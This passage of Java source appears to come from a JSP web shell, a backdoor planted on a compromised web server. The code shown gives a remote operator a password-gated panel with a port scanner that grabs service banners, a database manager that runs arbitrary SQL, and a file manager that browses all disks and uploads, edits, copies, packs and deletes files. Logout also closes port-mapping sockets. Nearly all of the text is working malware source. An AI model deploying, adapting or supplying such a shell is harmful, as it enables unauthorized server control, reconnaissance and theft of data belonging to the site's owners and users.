983out.println("<hr/>");
984String ip = request.getParameter("ip");
985String ports = request.getParameter("ports");
986String timeout = request.getParameter("timeout");
987String banner = request.getParameter("banner");
988int iTimeout = 0;
989if (Util.isEmpty(ip) || Util.isEmpty(ports))
990return;
991if (!Util.isInteger(timeout)) {
992timeout = "2";
993}
994iTimeout = Integer.parseInt(timeout);
995Map rs = new LinkedHashMap();
996String[] portArr = ports.split(",");
997for (int i =0;i<portArr.length;i++) {
998 String port = portArr[i];
999BufferedReader r = null;
1000try {
1001Socket s = new Socket();
1002s.connect(new InetSocketAddress(ip,Integer.parseInt(port)),iTimeout);
1003s.setSoTimeout(iTimeout);
1004if (!Util.isEmpty(banner)) {
1005r = new BufferedReader(new InputStreamReader(s.getInputStream()));
1006StringBuffer sb = new StringBuffer();
1007String b = r.readLine();
1008while (b != null) {
1009sb.append(b+" ");
1010try {
1011b = r.readLine();
1012} catch (Exception e) {
1013break;
1014}
1015}
1016rs.put(port,"Open <span style=\"color:grey;font-weight:normal\">"+sb.toString()+"</span>");
1017r.close();
1018} else {
1019rs.put(port,"Open");
1020}
1021s.close();
1022} catch (Exception e) {
1023if (e.toString().toLowerCase().indexOf("read timed out")!=-1) {
1024rs.put(port,"Open <span style=\"color:grey;font-weight:normal\"><<No Banner!>></span>");
1025if (r != null)
1026r.close();
1027} else {
1028rs.put(port,"Close");
1029}
1030}
1031}
1032out.println("<div style='margin:10px'>");
1033Set entrySet = rs.entrySet();
1034 Iterator it = entrySet.iterator();
1035 while (it.hasNext()) {
1036 Map.Entry e = (Map.Entry)it.next();
1037 String port = (String)e.getKey();
1038 String value = (String)e.getValue();
1039out.println(ip+" : "+port+" ................................. <font color="+(value.equals("Close")?"red":"green")+"><b>"+value+"</b></font><br>");
1040}
1041out.println("</div>");
1042} catch (Exception e) {
1043
1044throw e ;
1045}
1046}
1047}
1048private static class VConnInvoker extends DefaultInvoker {
1049public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1050try {
1051PrintWriter out = response.getWriter();
1052Object obj = JSession.getAttribute(DBO);
1053if (obj == null || !((DBOperator)obj).isValid()) {
1054out.println(" <script type=\"text/javascript\">"+
1055" function changeurldriver(){"+
1056" var form = document.forms[\"form1\"];"+
1057" var v = form.elements[\"db\"].value;"+
1058" form.elements[\"url\"].value = v.split(\"`\")[1];"+
1059" form.elements[\"driver\"].value = v.split(\"`\")[0];"+
1060" form.elements[\"selectDb\"].value = form.elements[\"db\"].selectedIndex;"+
1061" }"+
1062" </script>");
1063out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
1064"<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
1065"<input type=\"hidden\" id=\"selectDb\" name=\"selectDb\" value=\"0\">"+
1066"<h2>DataBase Manager »</h2>"+
1067"<input id=\"action\" type=\"hidden\" name=\"o\" value=\"dbc\" />"+
1068"<p>"+
1069"Driver:"+
1070" <input class=\"input\" name=\"driver\" id=\"driver\" type=\"text\" size=\"35\" />"+
1071"URL:"+
1072"<input class=\"input\" name=\"url\" id=\"url\" value=\"\" type=\"text\" size=\"90\" />"+
1073"UID:"+
1074"<input class=\"input\" name=\"uid\" id=\"uid\" value=\"\" type=\"text\" size=\"10\" />"+
1075"PWD:"+
1076"<input class=\"input\" name=\"pwd\" id=\"pwd\" value=\"\" type=\"text\" size=\"10\" />"+
1077"DataBase:"+
1078" <select onchange='changeurldriver()' class=\"input\" id=\"db\" name=\"db\" >"+
1079" <option value='com.mysql.jdbc.Driver`jdbc:mysql://localhost:3306/mysql?useUnicode=true&characterEncoding=GBK'>Mysql</option>"+
1080" <option value='oracle.jdbc.driver.OracleDriver`jdbc:oracle:thin:@dbhost:1521:ORA1'>Oracle</option>"+
1081" <option value='com.microsoft.jdbc.sqlserver.SQLServerDriver`jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=master'>Sql Server</option>"+
1082" <option value='sun.jdbc.odbc.JdbcOdbcDriver`jdbc:odbc:Driver={Microsoft Access Driver (*.mdb)};DBQ=C:\\ninty.mdb'>Access</option>"+
1083" <option value=' ` '>Other</option>"+
1084" </select>"+
1085"<input class=\"bt\" name=\"connect\" id=\"connect\" value=\"Connect\" type=\"submit\" size=\"100\" />"+
1086"</p>"+
1087"</form></table><script>changeurldriver()</script>");
1088} else {
1089((Invoker)ins.get("dbc")).invoke(request,response,JSession);
1090}
1091} catch (ClassCastException e) {
1092throw e;
1093} catch (Exception e) {
1094
1095throw e ;
1096}
1097}
1098}
1099//DBConnect
1100private static class DbcInvoker extends DefaultInvoker {
1101public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1102try {
1103PrintWriter out = response.getWriter();
1104String driver = request.getParameter("driver");
1105String url = request.getParameter("url");
1106String uid = request.getParameter("uid");
1107String pwd = request.getParameter("pwd");
1108String sql = request.getParameter("sql");
1109String selectDb = request.getParameter("selectDb");
1110if (selectDb == null)
1111selectDb = JSession.getAttribute("selectDb").toString();
1112else
1113JSession.setAttribute("selectDb",selectDb);
1114Object dbo = JSession.getAttribute(DBO);
1115if (dbo == null || !((DBOperator)dbo).isValid()) {
1116if (dbo != null)
1117((DBOperator)dbo).close();
1118dbo = new DBOperator(driver,url,uid,pwd,true);
1119} else {
1120if (!Util.isEmpty(driver) && !Util.isEmpty(url) && !Util.isEmpty(uid)) {
1121DBOperator oldDbo = (DBOperator)dbo;
1122dbo = new DBOperator(driver,url,uid,pwd);
1123if (!oldDbo.equals(dbo)) {
1124((DBOperator)oldDbo).close();
1125((DBOperator)dbo).connect();
1126} else {
1127dbo = oldDbo;
1128}
1129}
1130}
1131DBOperator Ddbo = (DBOperator)dbo;
1132JSession.setAttribute(DBO,Ddbo);
1133if (!Util.isEmpty(request.getParameter("type")) && request.getParameter("type").equals("switch")) {
1134Ddbo.getConn().setCatalog(request.getParameter("catalog"));
1135}
1136Util.outMsg(out,"Connect To DataBase Success!");
1137out.println(" <script type=\"text/javascript\">"+
1138" function changeurldriver(selectDb){"+
1139" var form = document.forms[\"form1\"];"+
1140" if (selectDb){"+
1141" form.elements[\"db\"].selectedIndex = selectDb"+
1142" }"+
1143" var v = form.elements[\"db\"].value;"+
1144" form.elements[\"url\"].value = v.split(\"`\")[1];"+
1145" form.elements[\"driver\"].value = v.split(\"`\")[0];"+
1146" form.elements[\"selectDb\"].value = form.elements[\"db\"].selectedIndex;"+
1147" }"+
1148" </script>");
1149out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
1150"<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
1151"<input type=\"hidden\" id=\"selectDb\" name=\"selectDb\" value=\""+selectDb+"\">"+
1152"<h2>DataBase Manager »</h2>"+
1153"<input id=\"action\" type=\"hidden\" name=\"o\" value=\"dbc\" />"+
1154"<p>"+
1155"Driver:"+
1156" <input class=\"input\" name=\"driver\" value=\""+Ddbo.driver+"\" id=\"driver\" type=\"text\" size=\"35\" />"+
1157"URL:"+
1158"<input class=\"input\" name=\"url\" value=\""+Ddbo.url+"\" id=\"url\" value=\"\" type=\"text\" size=\"90\" />"+
1159"UID:"+
1160"<input class=\"input\" name=\"uid\" value=\""+Ddbo.uid+"\" id=\"uid\" value=\"\" type=\"text\" size=\"10\" />"+
1161"PWD:"+
1162"<input class=\"input\" name=\"pwd\" value=\""+Ddbo.pwd+"\" id=\"pwd\" value=\"\" type=\"text\" size=\"10\" />"+
1163"DataBase:"+
1164" <select onchange='changeurldriver()' class=\"input\" id=\"db\" name=\"db\" >"+
1165" <option value='com.mysql.jdbc.Driver`jdbc:mysql://localhost:3306/mysql?useUnicode=true&characterEncoding=GBK'>Mysql</option>"+
1166" <option value='oracle.jdbc.driver.OracleDriver`jdbc:oracle:thin:@dbhost:1521:ORA1'>Oracle</option>"+
1167" <option value='com.microsoft.jdbc.sqlserver.SQLServerDriver`jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=master'>Sql Server</option>"+
1168" <option value='sun.jdbc.odbc.JdbcOdbcDriver`jdbc:odbc:Driver={Microsoft Access Driver (*.mdb)};DBQ=C:/ninty.mdb'>Access</option>"+
1169" <option value=' ` '>Other</option>"+
1170" </select>"+
1171"<input class=\"bt\" name=\"connect\" id=\"connect\" value=\"Connect\" type=\"submit\" size=\"100\" />"+
1172"</p>"+
1173"</form><script>changeurldriver('"+selectDb+"')</script>");
1174DatabaseMetaData meta = Ddbo.getConn().getMetaData();
1175out.println("<form action=\""+SHELL_NAME+"\" method=\"POST\">"+
1176"<p><input type=\"hidden\" name=\"selectDb\" value=\""+selectDb+"\"><input type=\"hidden\" name=\"o\" value=\"executesql\"><table width=\"200\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tr><td colspan=\"2\">Version : <b style='color:red;font-size:14px'><i>"+meta.getDatabaseProductName()+" , "+meta.getDatabaseProductVersion()+"</i></b><br/>URL : <b style='color:red;font-size:14px'><i>"+meta.getURL()+"</i></b><br/>Catalog : <b style='color:red;font-size:14px'><i>"+Ddbo.getConn().getCatalog()+"</i></b><br/>UserName : <b style='color:red;font-size:14px'><i>"+meta.getUserName()+"</i></b><br/><br/></td></tr><tr><td colspan=\"2\">Run SQL query/queries on database / <b><i>Switch Database :</i></b> ");
1177out.println("<select id=\"catalogs\" onchange=\"if (this.value == '0') return;doPost({o:'executesql',type:'switch',catalog:document.getElementById('catalogs').value})\">");
1178out.println("<option value='0'>-- Select a DataBase --</option>");
1179ResultSet dbs = meta.getCatalogs();
1180try {
1181while (dbs.next()){
1182out.println("<option value='"+dbs.getString(1)+"'>"+dbs.getString(1)+"</option>");
1183}
1184}catch(Exception ex) {
1185}
1186dbs.close();
1187out.println("</select></td></tr><tr><td><textarea id=\"sql\" name=\"sql\" class=\"area\" style=\"width:600px;height:50px;overflow:auto;\">"+Util.htmlEncode(Util.getStr(sql))+"</textarea><input class=\"bt\" name=\"submit\" type=\"submit\" value=\"Query\" /> <input class=\"bt\" onclick=\"doPost({o:'export',type:'queryexp',sql:document.getElementById('sql').value})\" type=\"button\" value=\"Export\" /> <input type='button' value='Export To File' class='bt' onclick=\"doPost({o:'vExport',type:'queryexp',sql:document.getElementById('sql').value})\"></td><td nowrap style=\"padding:0 5px;\"></td></tr></table></p></form></table>");
1188if (Util.isEmpty(sql)) {
1189String type = request.getParameter("type");
1190if (Util.isEmpty(type) || type.equals("switch")) {
1191ResultSet tbs = meta.getTables(null,null,null,null);
1192out.println(Table.rs2Table(tbs,meta.getIdentifierQuoteString(),true));
1193tbs.close();
1194} else if (type.equals("struct")) {
1195String tb = request.getParameter("table");
1196if (Util.isEmpty(tb))
1197return;
1198ResultSet t = meta.getColumns(null,null,tb,null);
1199out.println(Table.rs2Table(t,"",false));
1200t.close();
1201}
1202}
1203} catch (Exception e) {
1204JSession.setAttribute(MSG,"<span style='color:red'>Some Error Occurred. Please Check Out the StackTrace Follow.</span>"+BACK_HREF);
1205throw e;
1206}
1207}
1208}
1209private static class ExecuteSQLInvoker extends DefaultInvoker{
1210public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1211try {
1212PrintWriter out = response.getWriter();
1213String sql = request.getParameter("sql");
1214String db = request.getParameter("selectDb");
1215Object dbo = JSession.getAttribute(DBO);
1216if (!Util.isEmpty(sql)) {
1217if (dbo == null || !((DBOperator)dbo).isValid()) {
1218((Invoker)ins.get("vConn")).invoke(request,response,JSession);
1219return;
1220} else {
1221((Invoker)ins.get("dbc")).invoke(request,response,JSession);
1222Object obj = ((DBOperator)dbo).execute(sql);
1223if (obj instanceof ResultSet) {
1224ResultSet rs = (ResultSet)obj;
1225ResultSetMetaData meta = rs.getMetaData();
1226int colCount = meta.getColumnCount();
1227out.println("<b style=\"margin-left:15px\">Query#0 : "+Util.htmlEncode(sql)+"</b><br/><br/>");
1228out.println("<table border=\"0\" cellpadding=\"3\" cellspacing=\"0\" style=\"margin-left:15px\"><tr class=\"head\">");
1229for (int i=1;i<=colCount;i++) {
1230out.println("<td nowrap>"+meta.getColumnName(i)+"<br><span>"+meta.getColumnTypeName(i)+"</span></td>");
1231}
1232out.println("</tr>");
1233Table tb = new Table();
1234while(rs.next()) {
1235Row r = new Row();
1236for (int i = 1;i<=colCount;i++) {
1237String v = null;
1238try {
1239v = rs.getString(i);
1240} catch (SQLException ex) {
1241v = "<<Error!>>";
1242}
1243r.addColumn(new Column(v));
1244}
1245tb.addRow(r);
1246}
1247out.println(tb.toString());
1248out.println("</table><br/>");
1249rs.close();
1250((DBOperator)dbo).closeStmt();
1251} else {
1252out.println("<b style='margin-left:15px'>affected rows : <i>"+obj+"</i></b><br/><br/>");
1253}
1254}
1255} else {
1256((Invoker)ins.get("dbc")).invoke(request,response,JSession);
1257}
1258} catch (Exception e) {
1259
1260throw e ;
1261}
1262}
1263}
1264private static class VLoginInvoker extends DefaultInvoker {
1265public boolean doBefore() {return false;}
1266public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1267try {
1268PrintWriter out = response.getWriter();
1269out.println("<html><head><title>Management Pannel</title><style type=\"text/css\">"+
1270" input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}"+
1271"a{font:11px Verdana;BACKGROUND: #FFFFFF;}"+
1272" </style></head><body><form method=\"POST\" action=\""+SHELL_NAME+"\">"+
1273"<!--<p style=\"font:11px Verdana;color:red\">Private Edition Dont Share It !</p>-->"+
1274" <p><span style=\"font:11px Verdana;\">Password: </span>"+
1275" <input name=\"o\" type=\"hidden\" value=\"login\">"+
1276" <input name=\"pw\" type=\"password\" size=\"20\">"+
1277" <input type=\"hidden\" name=\"o\" value=\"login\">"+
1278" <input type=\"submit\" value=\"Login\"><br/>"+
1279"<!--<span style=\"font:11px Verdana;\">Copyright © 2013</span>--></p>"+
1280" </form><span style='font-weight:bold;color:red;font-size:12px'></span></body></html>");
1281} catch (Exception e) {
1282
1283throw e ;
1284}
1285}
1286}
1287private static class LoginInvoker extends DefaultInvoker{
1288public boolean doBefore() {return false;}
1289public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1290try {
1291String inputPw = request.getParameter("pw");
1292if (Util.isEmpty(inputPw) || !inputPw.equals(PW)) {
1293((Invoker)ins.get("vLogin")).invoke(request,response,JSession);
1294return;
1295} else {
1296JSession.setAttribute(PW_SESSION_ATTRIBUTE,inputPw);
1297response.sendRedirect(SHELL_NAME);
1298return;
1299}
1300} catch (Exception e) {
1301
1302throw e ;
1303}
1304}
1305}
1306private static class MyComparator implements Comparator{
1307public int compare(Object obj1,Object obj2) {
1308 try {
1309 if (obj1 != null && obj2 != null) {
1310 File f1 = (File)obj1;
1311 File f2 = (File)obj2;
1312 if (f1.isDirectory()) {
1313 if (f2.isDirectory()) {
1314 return f1.getName().compareTo(f2.getName());
1315 } else {
1316 return -1;
1317 }
1318 } else {
1319 if (f2.isDirectory()) {
1320 return 1;
1321 } else {
1322 return f1.getName().toLowerCase().compareTo(f2.getName().toLowerCase());
1323 }
1324 }
1325 }
1326 return 0;
1327 } catch (Exception e) {
1328 return 0;
1329 }
1330}
1331}
1332private static class FileListInvoker extends DefaultInvoker {
1333public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception {
1334try {
1335String path2View = null;
1336PrintWriter out = response.getWriter();
1337String path = request.getParameter("folder");
1338String outEntry = request.getParameter("outentry");
1339if (!Util.isEmpty(outEntry) && outEntry.equals("true")) {
1340JSession.removeAttribute(ENTER);
1341JSession.removeAttribute(ENTER_MSG);
1342JSession.removeAttribute(ENTER_CURRENT_DIR);
1343}
1344Object enter = JSession.getAttribute(ENTER);
1345File file = null;
1346if (!Util.isEmpty(enter)) {
1347if (Util.isEmpty(path)) {
1348if (JSession.getAttribute(ENTER_CURRENT_DIR) == null)
1349path = "/";
1350else
1351path = (String)(JSession.getAttribute(ENTER_CURRENT_DIR));
1352}
1353file = new EnterFile(path);
1354((EnterFile)file).setZf((String)enter);
1355JSession.setAttribute(ENTER_CURRENT_DIR,path);
1356} else {
1357if (Util.isEmpty(path))
1358path = JSession.getAttribute(CURRENT_DIR).toString();
1359JSession.setAttribute(CURRENT_DIR,Util.convertPath(path));
1360file = new File(path);
1361}
1362path2View = Util.convertPath(path);
1363if (!file.exists()) {
1364throw new Exception(path+"Dont Exists !");
1365}
1366File[] list = file.listFiles();
1367Arrays.sort(list,new MyComparator());
1368out.println("<div style='margin:10px'>");
1369String cr = null;
1370try {
1371cr = JSession.getAttribute(CURRENT_DIR).toString().substring(0,3);
1372}catch(Exception e) {
1373cr = "/";
1374}
1375File currentRoot = new File(cr);
1376out.println("<h2>File Manager - Current disk ""+(cr.indexOf("/") == 0?"/":currentRoot.getPath())+"" total (unknow)</h2>");
1377out.println("<form action=\""+SHELL_NAME+"\" method=\"post\">"+
1378"<table width=\"98%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
1379" <tr>"+
1380" <td nowrap>Current Directory <input type=\"hidden\" name=\"o\" value=\"filelist\"/></td>"+
1381" <td width=\"98%\"><input class=\"input\" name=\"folder\" value=\""+path2View+"\" type=\"text\" style=\"width:100%;margin:0 8px;\"></td>"+
1382" <td nowrap><input class=\"bt\" value=\"GO\" type=\"submit\"></td>"+
1383" </tr>"+
1384"</table>"+
1385"</form>");
1386out.println("<table width=\"98%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\">"+
1387"<form action=\""+SHELL_NAME+"?o=upload\" method=\"POST\" enctype=\"multipart/form-data\"><tr class=\"alt1\"><td colspan=\"7\" style=\"padding:5px;\">"+
1388"<div style=\"float:right;\"><input class=\"input\" name=\"file\" value=\"\" type=\"file\" /> <input class=\"bt\" name=\"doupfile\" value=\"Upload\" "+(enter == null ?"type=\"submit\"":"type=\"button\" onclick=\"alert('You Are In File Now ! Can Not Upload !')\"")+" /></div>"+
1389"<a href=\"javascript:new fso({path:'"+Util.convertPath(WEB_ROOT)+"'}).subdir('true')\">Web Root</a>"+
1390" | <a href=\"javascript:new fso({path:'"+Util.convertPath(SHELL_DIR)+"'}).subdir('true')\">Shell Directory</a>"+
1391" | <a href=\"javascript:"+(enter == null ? "new fso({}).mkdir()" : "alert('You Are In File Now ! Can Not Create Directory ! ')")+"\">New Directory</a> | <a href=\"javascript:"+(enter == null ? "new fso({}).createFile()" : "alert('You Are In File Now ! Can Not Create File !')")+"\">New File</a>"+
1392" | ");
1393File[] roots = file.listRoots();
1394for (int i = 0;i<roots.length;i++) {
1395File r = roots[i];
1396out.println("<a href=\"javascript:new fso({path:'"+Util.convertPath(r.getPath())+"'}).subdir('true');\">Disk("+Util.convertPath(r.getPath())+")</a>");
1397if (i != roots.length -1) {
1398out.println("|");
1399}
1400}
1401out.println("</td>"+
1402"</tr></form>"+
1403"<tr class=\"head\"><td> </td>"+
1404" <td>Name</td>"+
1405" <td width=\"16%\">Last Modified</td>"+
1406" <td width=\"10%\">Size</td>"+
1407" <td width=\"20%\">Read/Write/Execute</td>"+
1408" <td width=\"22%\"> </td>"+
1409"</tr>");
1410if (file.getParent() != null) {
1411out.println("<tr class=alt1>"+
1412"<td align=\"center\"><font face=\"Wingdings 3\" size=4>=</font></td>"+
1413"<td nowrap colspan=\"5\"><a href=\"javascript:new fso({path:'"+Util.convertPath(file.getAbsolutePath())+"'}).parent()\">Goto Parent</a></td>"+
1414"</tr>");
1415}
1416int dircount = 0;
1417int filecount = 0;
1418for (int i = 0;i<list.length;i++) {
1419 File f = list[i];
1420if (f.isDirectory()) {
1421dircount ++;
1422out.println("<tr class=\"alt2\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt2';\">"+
1423"<td width=\"2%\" nowrap><font face=\"wingdings\" size=\"3\">0</font></td>"+
1424"<td><a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).subdir()\">"+f.getName()+"</a></td>"+
1425"<td nowrap>"+Util.formatDate(f.lastModified())+"</td>"+
1426"<td nowrap>--</td>"+
1427"<td nowrap>"+f.canRead()+" / "+f.canWrite()+" / unknow</td>"+
1428"<td nowrap>");
1429if (enter != null)
1430out.println(" ");
1431else
1432out.println("<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).removedir()\">Del</a> | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).move()\">Move</a> | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).pack(true)\">Pack</a>");
1433out.println("</td></tr>");
1434} else {
1435filecount++;
1436out.println("<tr class=\"alt1\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt1';\">"+
1437"<td width=\"2%\" nowrap><input type='checkbox' value='"+f.getName()+"'/></td>"+
1438"<td><a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).down()\">"+f.getName()+"</a></td>"+
1439"<td nowrap>"+Util.formatDate(f.lastModified())+"</td>"+
1440"<td nowrap>"+Util.getSize(f.length(),'B')+"</td>"+
1441"<td nowrap>"+
1442""+f.canRead()+" / "+f.canWrite()+" / unknow </td>"+
1443"<td nowrap>"+
1444"<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).vEdit()\">Edit</a> | "+
1445"<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).down()\">Down</a> | "+
1446"<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).copy()\">Copy</a>");
1447if (enter == null ) {
1448out.println(" | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).move()\">Move</a> | "+
1449"<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).vEditProperty()\">Property</a> | "+
1450"<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).enter()\">Enter</a>");
1451if (f.getName().endsWith(".zip") || f.getName().endsWith(".jar")) {
1452out.println(" | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).unpack()\">UnPack</a>");
1453} else if (f.getName().endsWith(".rar")) {
1454out.println(" | <a href=\"javascript:alert('Dont Support RAR,Please Use WINRAR');\">UnPack</a>");
1455} else {
1456out.println(" | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).pack()\">Pack</a>");
1457}
1458}
1459out.println("</td></tr>");
1460}
1461}
1462out.println("<tr class=\"alt2\"><td align=\"center\"> </td>"+
1463" <td>");
1464if (enter != null)
1465out.println("<a href=\"javascript:alert('You Are In File Now ! Can Not Pack !');\">Pack Selected</a> - <a href=\"javascript:alert('You Are In File Now ! Can Not Delete !');\">Delete Selected</a>");
1466else
1467out.println("<a href=\"javascript:new fso({}).packBatch();\">Pack Selected</a> - <a href=\"javascript:new fso({}).deleteBatch();\">Delete Selected</a>");
1468out.println("</td>"+
1469" <td colspan=\"4\" align=\"right\">"+dircount+" directories / "+filecount+" files</td></tr>"+
1470"</table>");
1471out.println("</div>");
1472if (file instanceof EnterFile)
1473((EnterFile)file).close();
1474} catch (ZipException e) {
1475JSession.setAttribute(MSG,"\""+JSession.getAttribute(ENTER).toString()+"\" Is Not a Zip File. Please Exit.");
1476throw e;
1477} catch (Exception e) {
1478JSession.setAttribute(MSG,"File Does Not Exist Or You Dont Have Privilege."+BACK_HREF);
1479throw e;
1480}
1481}
1482}
1483private static class LogoutInvoker extends DefaultInvoker {
1484public boolean doBefore() {return false;}
1485public boolean doAfter() {return false;}
1486public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1487try {
1488Object dbo = JSession.getAttribute(DBO);
1489if (dbo != null)
1490((DBOperator)dbo).close();
1491Object obj = JSession.getAttribute(PORT_MAP);
1492if (obj != null) {
1493ServerSocket s = (ServerSocket)obj;
1494s.close();
1495}
1496Object online = JSession.getAttribute(SHELL_ONLINE);
1497if (online != null)
1498((OnLineProcess)online).stop();
1499JSession.invalidate();
1500((Invoker)ins.get("vLogin")).invoke(request,response,JSession);
1501} catch (ClassCastException e) {
1502JSession.invalidate();
1503((Invoker)ins.get("vLogin")).invoke(request,response,JSession);
1504} catch (Exception e) {
1505
1506throw e ;
1507}
1508}
1509}
1510private static class UploadInvoker extends DefaultInvoker {
1511public boolean doBefore() {return false;}
1512public boolean doAfter() {return false;}
1513public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1514try {
1515UploadBean fileBean = new UploadBean();
1516response.getWriter().println(JSession.getAttribute(CURRENT_DIR).toString());
1517fileBean.setSavePath(JSession.getAttribute(CURRENT_DIR).toString());
1518fileBean.parseRequest(request);
1519File f = new File(JSession.getAttribute(CURRENT_DIR)+"/"+fileBean.getFileName());
1520if (f.exists() && f.length() > 0)
1521JSession.setAttribute(MSG,"<span style='color:green'>Upload File Success!</span>");
1522else
1523JSession.setAttribute("MSG","<span style='color:red'>Upload File Failed!</span>");
1524response.sendRedirect(SHELL_NAME);
1525} catch (Exception e) {
1526throw e ;
1527}
1528}
1529}
1530private static class CopyInvoker extends DefaultInvoker {
1531public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1532try {
1533String src = request.getParameter("src");
1534String to = request.getParameter("to");
1535InputStream in = null;
1536Object enter = JSession.getAttribute(ENTER);
1537if (enter == null)
1538in = new FileInputStream(new File(src));
1539else {
1540ZipFile zf = new ZipFile((String)enter);
1541ZipEntry entry = zf.getEntry(src);
1542in = zf.getInputStream(entry);
1543}
1544BufferedInputStream input = new BufferedInputStream(in);
1545BufferedOutputStream output = new BufferedOutputStream(new FileOutputStream(new File(to)));
1546byte[] d = new byte[1024];
1547int len = input.read(d);
1548while(len != -1) {
1549output.write(d,0,len);
1550len = input.read(d);
1551}
1552output.close();
1553input.close();
1554JSession.setAttribute(MSG,"Copy File Success!");
1555response.sendRedirect(SHELL_NAME);
1556} catch (Exception e) {
1557
1558throw e ;
1559}
1560}
1561}
1562private static class BottomInvoker extends DefaultInvoker {
1563public boolean doBefore() {return false;}
1564public boolean doAfter() {return false;}
1565public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1566try {
1567response.getWriter().println("<div style=\"padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;\">Copyright (C) 2013 All Rights Reserved."+
1568"</div>");
1569} catch (Exception e) {
1570
1571throw e ;
1572}
1573}
1574}
1575private static class VCreateFileInvoker extends DefaultInvoker {
1576public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1577try {
1578PrintWriter out = response.getWriter();
1579String path = request.getParameter("filepath");
1580File f = new File(path);
1581if (!f.isAbsolute()) {
1582String oldPath = path;
1583path = JSession.getAttribute(CURRENT_DIR).toString();
1584if (!path.endsWith("/"))
1585path+="/";
1586path+=oldPath;
1587f = new File(path);
1588f.createNewFile();
1589} else {
1590f.createNewFile();
1591}
1592out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
1593"<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
1594"<h2>Create / Edit File »</h2>"+
1595"<input type='hidden' name='o' value='createFile'>"+
1596"<p>Current File (import new file name and new file)<br /><input class=\"input\" name=\"filepath\" id=\"editfilename\" value=\""+path+"\" type=\"text\" size=\"100\" />"+
1597" <select name='charset' class='input'><option value='ANSI'>ANSI</option><option value='UTF-8'>UTF-8</option></select></p>"+
1598"<p>File Content<br /><textarea class=\"area\" id=\"filecontent\" name=\"filecontent\" cols=\"100\" rows=\"25\" ></textarea></p>"+
1599"<p><input class=\"bt\" name=\"submit\" id=\"submit\" type=\"submit\" value=\"Submit\"> <input class=\"bt\" type=\"button\" value=\"Back\" onclick=\"history.back()\"></p>"+
1600"</form>"+
1601"</td></tr></table>");
1602} catch (Exception e) {
1603
1604throw e ;
1605}
1606}
1607}
1608private static class VEditInvoker extends DefaultInvoker {
1609public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1610try {
1611PrintWriter out = response.getWriter();
1612String path = request.getParameter("filepath");
1613String charset = request.getParameter("charset");
1614Object enter = JSession.getAttribute(ENTER);
1615InputStream input = null;
1616if (enter != null) {
1617ZipFile zf = new ZipFile((String)enter);
1618ZipEntry entry = new ZipEntry(path);
1619input = zf.getInputStream(entry);
1620} else {
1621File f = new File(path);
1622if (!f.exists())
1623return;
1624input = new FileInputStream(path);
1625}
1626
1627BufferedReader reader = null;
1628if (Util.isEmpty(charset) || charset.equals("ANSI"))
1629reader = new BufferedReader(new InputStreamReader(input));
1630else
1631reader = new BufferedReader(new InputStreamReader(input,charset));
1632StringBuffer content = new StringBuffer();
1633String s = reader.readLine();
1634while (s != null) {
1635content.append(s+"\r\n");
1636s = reader.readLine();
1637}
1638reader.close();
1639out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
1640"<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
1641"<h2>Create / Edit File »</h2>"+
1642"<input type='hidden' name='o' value='createFile'>"+
1643"<p>Current File (import new file name and new file)<br /><input class=\"input\" name=\"filepath\" id=\"editfilename\" value=\""+path+"\" type=\"text\" size=\"100\" />"+
